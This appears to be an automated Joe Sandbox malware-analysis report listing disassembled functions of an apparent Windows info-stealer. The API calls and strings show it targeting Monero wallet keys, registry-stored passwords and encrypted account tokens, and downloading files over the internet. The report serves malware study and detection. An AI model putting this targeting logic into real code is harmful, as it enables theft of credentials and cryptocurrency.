Instruction Fuzzy Hash: F1712A7590021C9BDB64DB60DD91FDA77B9BF88304F0086D9A109A6180DF74AFCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,042C3828,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 47233f5f2a6ac108ed9c2d40d7802ad1b122a578098b672625895cdb083911f5
Instruction ID: 2b3dd8003c7db60ae6f20250f168b485c10b0cdbdb2f80ad8031a0e3e82ebbeb
Opcode Fuzzy Hash: 47233f5f2a6ac108ed9c2d40d7802ad1b122a578098b672625895cdb083911f5
Instruction Fuzzy Hash: B4C1A7B5900619DBCB24EF60DC89FDA7779AF58304F00459EE40DA7191DB34AAC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,042C7660,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401425

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,042C35F8), ref: 00404ED9

Strings

SOFTWARE\monero-project\monero-core, xrefs: 004012F5
wallet_path, xrefs: 004012F0
.keys, xrefs: 0040132B
\Monero\wallet.keys, xrefs: 0040134D

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$ChangeCopyCreateDeleteFindFreeInternetNotificationProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2054947926-218353709
Opcode ID: cc506cc900b1d8de20fb67180724c8fe89b673c0262401868f97255737152c4b
Instruction ID: 465d6e3be360dc7981781b6de12631b9db2cd28431e3bfe2701297f35846b4c8
Opcode Fuzzy Hash: cc506cc900b1d8de20fb67180724c8fe89b673c0262401868f97255737152c4b
Instruction Fuzzy Hash: DD5123B195021897CB15EB61DD92BED773D9F54304F4041EDB60A62091DE385BC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406CA0: memset.MSVCRT ref: 00406CE4
Part of subcall function 00406CA0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
Part of subcall function 00406CA0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
Part of subcall function 00406CA0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
Part of subcall function 00406CA0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
Part of subcall function 00406CA0: HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

lstrcat.KERNEL32(36C98020,0041DEB8), ref: 00406FD6
lstrcat.KERNEL32(36C98020,00000000), ref: 00407018
lstrcat.KERNEL32(36C98020, : ), ref: 0040702A
lstrcat.KERNEL32(36C98020,00000000), ref: 0040705F
lstrcat.KERNEL32(36C98020,0041DEC0), ref: 00407070
lstrcat.KERNEL32(36C98020,00000000), ref: 004070A3
lstrcat.KERNEL32(36C98020,0041DEC4), ref: 004070BD
task.LIBCPMTD ref: 004070CB

Strings

`v@, xrefs: 00406FAF, 004070C8, 00406FFE, 00407034, 0040707C, 00407045, 00406FB2
: , xrefs: 0040701E
h0A, xrefs: 00406FA6, 00406FA9

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: : $`v@$h0A
API String ID: 3191641157-3559972273
Opcode ID: 90ba860eb88153124b5ff0dd3d9899c95f8f381682475dbda3cd4adffff03995
Instruction ID: d9fe8ddf8edd41d5d79e2c2aa3549d60ad86c8a123fe42dd1537da3b5299582f
Opcode Fuzzy Hash: 90ba860eb88153124b5ff0dd3d9899c95f8f381682475dbda3cd4adffff03995
Instruction Fuzzy Hash: 4B318371E05504ABCB14EBA0DD99EFF7B75BF44305B104519F102BB290DA38BD46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00415710 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415836

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: 9a9d15ccce1688aa5f0ddc31980a02235787a91170649dd34c88eef5399de2d3
Instruction ID: 4e1e11a2c406ea1305e74ab4ef0d66e5904d243d4ada77d8c1e4b1ca7303bf9d
Opcode Fuzzy Hash: 9a9d15ccce1688aa5f0ddc31980a02235787a91170649dd34c88eef5399de2d3
Instruction Fuzzy Hash: 30714CB5910608EBDB14EFE4EC85FEEB7B9BF48300F108509F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction ID: 212e66a44237aadac39c144ffd634e87161c2b2b5cb707631054264fe3c499ea
Opcode Fuzzy Hash: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction Fuzzy Hash: 4F613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004141C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
HeapAlloc.KERNEL32(00000000), ref: 004142A7
wsprintfA.USER32 ref: 004142DD

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

\, xrefs: 004141FD
C, xrefs: 004141E9
:, xrefs: 004141F9

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction ID: 52054a8b39965f6583c41ffabf349f0ba0ed2356e3a02770a6039194ee1378f4
Opcode Fuzzy Hash: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction Fuzzy Hash: BA3194B0D00258EBDF20DFA4DC45BEE77B4AF48304F104099F5496B281DB78AAD5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 00409426, 00409449, 00409429, 0040946F
'@, xrefs: 004093C3, 00409486

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID: '@$'@
API String ID: 1815715184-345573653
Opcode ID: 8b55da906079f4b7e2c67570a1be054e10abea7064ba0d58136f1bac8616076b
Instruction ID: e17ca2bf8fb39da35cf654cfb04ed30359ebe63801e33f8f777122e55a65d6c5
Opcode Fuzzy Hash: 8b55da906079f4b7e2c67570a1be054e10abea7064ba0d58136f1bac8616076b
Instruction Fuzzy Hash: 0B31EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414960 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,042C5EF0,00000000,?,0041D774,00000000,?,00000000,00000000,?,042C5ED8), ref: 0041496D
HeapAlloc.KERNEL32(00000000), ref: 00414974
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
__aulldiv.LIBCMT ref: 004149AF
__aulldiv.LIBCMT ref: 004149BD
wsprintfA.USER32 ref: 004149E9

Strings

@, xrefs: 0041498A
%d MB, xrefs: 004149E0

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction ID: f510475f390b20142bb5ad9b480526056b42ea6839ab7368ec165d8bd78ed5c1
Opcode Fuzzy Hash: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction Fuzzy Hash: 84111EB0D40208ABDB10DFE4CC49FAE77B8BB48704F104549F715BB284D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,00000001,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,042C35F8), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
CloseHandle.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 33d80e034ad8f542e0ef5a467f467662f582e0545ae4ff6488c0ef396ccf234c
Instruction ID: 46018c2d0393d599e49b8942d3c4f4431f3cc1562104312217daf3d911a1fc92
Opcode Fuzzy Hash: 33d80e034ad8f542e0ef5a467f467662f582e0545ae4ff6488c0ef396ccf234c
Instruction Fuzzy Hash: DB514471A00618ABDB20DF51CC45BEF7779EB44305F1081AAB645B71C0DB78AB85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00413D90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D9E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

OpenProcess.KERNEL32(001FFFFF,00000000,00413FCD,0041D28B), ref: 00413DDC
memset.MSVCRT ref: 00413E2A
??_V@YAXPAX@Z.MSVCRT ref: 00413F7E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E4C

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 58fa82f264080733bae1e7b8f01e14ae4a67fe3ffc4adbed189253538e0755ae
Instruction ID: ba4a912f34a6ab240f03399ec897c117189ceb9282cc0eaf369c81769a73d46f
Opcode Fuzzy Hash: 58fa82f264080733bae1e7b8f01e14ae4a67fe3ffc4adbed189253538e0755ae
Instruction Fuzzy Hash: 35513DB0D003189BDB24EF51DC45BEEBB75AB48309F5041AEE11966281DB386BC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

AccountTokens, xrefs: 0040B28A
AccountId, xrefs: 0040B472
AccountTokens, xrefs: 0040B319
SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: c3e420af064c0a708796640bde459702700c5fd34751eff28f339fbe0379e7de
Instruction ID: df2f8e8a8ca21c55da42a3c6f19f5118b3684059388f817d0631ea5bb79e5354
Opcode Fuzzy Hash: c3e420af064c0a708796640bde459702700c5fd34751eff28f339fbe0379e7de
Instruction Fuzzy Hash: 07A164759102089BCF14FBA1DC52EEE7739BF54308F51416EF506B2191EF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00414B79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

RegQueryValueExA.KERNEL32(00000000,042C6490,00000000,000F003F,?,00000400), ref: 00414C89
lstrlen.KERNEL32(?), ref: 00414C9E
RegQueryValueExA.KERNEL32(00000000,042C64C0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D36
RegCloseKey.KERNEL32(00000000), ref: 00414DA5
RegCloseKey.ADVAPI32(00000000), ref: 00414DB7

Strings

%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 531daa6300200cb92d5b1988fc21d9558b480b48c1d4f7758da1487724698403
Instruction ID: d244d91c33a18a5b0a6d9a0a642cdc181f43283702d6765b4fd500d7f5e12fa2
Opcode Fuzzy Hash: 531daa6300200cb92d5b1988fc21d9558b480b48c1d4f7758da1487724698403
Instruction Fuzzy Hash: 59213875A0021CABDB64CB50DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.KERNEL32(80000001,042C6FD8,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,042C8258,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,042C8000), ref: 00411E2B

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction ID: 8aed71b150b2ed53c6c52757a29982c6d8c6785b9d22af2673d92710ece34b21
Opcode Fuzzy Hash: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction Fuzzy Hash: F641B4B2900108BBCB15EBE0DC86FEE733EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

